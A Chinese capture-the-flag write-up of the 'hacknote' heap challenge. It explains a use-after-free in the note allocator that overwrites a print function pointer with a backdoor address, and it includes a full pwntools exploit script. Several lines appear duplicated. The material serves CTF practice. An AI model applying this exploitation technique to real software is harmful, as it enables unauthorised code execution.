1,三连
 
 基本信息:x86-32-el,堆题思路;
 保护:Partial RELRO。
堆题多看一个Libc:
 
2,IDA分析
 main功能:
  add_note()功能:
add_note()功能:
  malloc了两次:
malloc了两次:
 8字节填充(利用点之一)=print_note_conten函数地址+print_note_content内容地址;
notelist[]属于bss段全局变量,存储chunk。
del_note()功能:
  发现后门函数:
发现后门函数:
  magic()=0x08048945
magic()=0x08048945
 思路:UAF
条件:
 堆块构成大小-fastbin;
 一次add_note()malloc了两次,地址被notelist[]数组保存;
 例如一次add_note(),notelist[0]=&print_note_content
 notelist[1]=内容
3,payload调试
 断点1
  关注点:0x804b158[3] = node[0]= 0x080485fb等会被改写
关注点:0x804b158[3] = node[0]= 0x080485fb等会被改写
 断点2:
  调试3:
调试3:
  然后调用printf即条用了magic函数。
然后调用printf即条用了magic函数。
完整payload:
from pwn import*
#r=remote('node4.buuoj.cn',27727)
r=process('./hacknote')
def add(size,content):
  r.sendlineafter('choice :','1')
  r.sendlineafter('Note size :',str(size))
  r.sendlineafter('Content :',content)
def delete(idx):
  r.sendlineafter('choice :','2')
  r.sendlineafter('Index :',str(idx))
def printf(idx):
  r.sendlineafter('choice :','3')
  r.sendlineafter('Index :',str(idx))
shell_addr=0x8048945
gdb.attach(r)
add(24,'aaaa')
#pause()	#break1
add(24,'bbbb')
delete(0)
delete(1)
#pause()	#break2
add(8,p32(shell_addr))
pause()		#break3
printf(0)
r.interactive()
 总结:
总结:
 uaf条件:
 fastbin利用,重新从tcache中获取free_fastbin,达到控制内容效果。
 本题辅助点:
 add_note()中可控制调用Put(即程序功能3. Print note ),同时magic函数直接system()调用
完。


















